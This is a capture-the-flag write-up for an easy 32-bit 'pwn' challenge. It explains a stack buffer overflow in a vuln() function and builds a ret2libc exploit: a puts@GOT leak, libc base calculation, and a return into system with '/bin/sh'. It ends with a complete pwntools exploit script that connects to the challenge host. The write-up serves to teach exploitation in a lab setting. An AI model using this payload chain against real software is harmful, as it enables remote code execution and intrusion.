- Category: Pwn
- Points: 100
- Difficulty: Easy
Description
It happily follows a familiar tune ...
Overview
This challenge consists in an ELF binary that print a banner and then allows the user to input a string, nothing more.
Vulnerabilities
Inside the vuln() function, we find this code:
void vuln(void)
{
undefined1 local_138 [304];
read(0,local_138,350);
return;
}
As we can see, there is a clearly buffer overflow, so if we input a string longer than 304, we can overwrite the return address of the function, since there are no stack protections:
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8046000)
Since the challenge provided us the libc.so.6 file, we tend to think this is a ret2libc vuln.
Solution
Finding return address offset
To do this, I just used cyclic from pwntools, that allowed me to find the exact offset of the return address in the stack.
In fact if we send a cyclic(330), registers will look like this:
EAX 0x14b
EBX 0x64616162 ('baad')
ECX 0xffff9b24 --> 0x61616161 ('aaaa')
EDX 0x15e
EDI 0xf7f6ab60 (_rtld_global_ro) --> 0
ESI 0xffff9d2c --> 0xffff9f2b --> 'SHELL=/bin/bash'
EBP 0x64616163 ('caad')
ESP 0xffff9c60 --> 0x64616165 ('eaad')
EIP 0x64616164 ('daad')
Now, with pwndbg we can calculate the final offset, which is 312:
pwndbg> cyclic -l 0x64616164
Finding cyclic pattern of 4 bytes: b'daad' (hex: 0x64616164)
Found at offset 312
Finding the libc base
Now, we have to calculate the libc base in order to get the system runtime address, which is
stored inside the GOT.
The first thing to do is to leak a runtime address of a known libc symbol (for example the address of puts). That leaked address is an address inside the loaded libc, not yet the libc base.
Do to this, we can call puts(puts@GOT), where puts(@GOT) is the GOT slot that contains the runtime pointer to puts.
In fact, after sending this payload:
main_addr = exe.sym.main
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
payload = b'A' * 312 # ret addr offset
payload += p32(puts_plt) # address of the function to call, eip will point to it
payload += p32(main_addr) # return address (where execution continues after puts)
payload += p32(puts_got) # the got entry to print
we obtain a 4 byte long runtime pointer to puts.
Now, to calculate the libc base, we have to substract from the leaked value, the static offset of puts inside the libc provided from the challenge:
leak = u32(io.recv(4))
libc_base = leak - libc.symbols['puts']
Now, we can calculate any runtime address, the one that we need is the system one. To do this, we can add to the libc base the static offset of system:
system_addr = libc_base + libc.symbols["system"]
we only need one more thing, a pointer to /bin/sh string. There are several methods to find it, but I chose to start by using rabin2 -z libc.so.6 | grep /bin/sh, which output is:
915 0x001c4de8 0x001c4de8 7 8 .rodata ascii /bin/sh
Now, adding the libc base to this address, we can obtain the runtime one.
Crafting final payload
Now, we have everything we need to craft a payload that pops a shell, by using the previously calculated system address, and the /bin/sh string. So, overflowing again, this time returning into system:
system_addr = libc_base + libc.symbols["system"]
binsh = 0x001c4de8
payload = b'A' * 312
payload += p32(system_addr)
payload += p32(main_addr)
payload += p32(libc_base + binsh)

Final Exploit
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template '--host=chall.v1t.site' '--port=30212'
from pwn import *
# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or 'chall')
host = args.HOST or 'chall.v1t.site'
port = int(args.PORT or 30212)
if args.LOCAL_LIBC:
libc = exe.libc
elif args.LOCAL:
library_path = libcdb.download_libraries('libc.so.6')
if library_path:
exe = context.binary = ELF.patch_custom_libraries(exe.path, library_path)
libc = exe.libc
else:
libc = ELF('libc.so.6')
else:
libc = ELF('libc.so.6')
def start_local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def start_remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return start_local(argv, *a, **kw)
else:
return start_remote(argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
io = start()
context.log_level = "info"
main_addr = exe.sym.main
puts_plt = exe.plt['puts']
puts_got = exe.got['puts']
payload = b'A' * 312 # out offset
payload += p32(puts_plt)
payload += p32(main_addr)
payload += p32(puts_got)
io.sendlineafter(b"!\n", payload)
leak = u32(io.recv(4))
libc_base = leak - libc.symbols['puts']
log.info(hex(libc_base))
system_addr = libc_base + libc.symbols["system"]
binsh = 0x001c4de8
payload = b'A' * 312
payload += p32(system_addr)
payload += p32(main_addr)
payload += p32(libc_base + binsh)
io.sendlineafter(b"!\n", payload)
io.interactive()
CTF{flag_goes_here}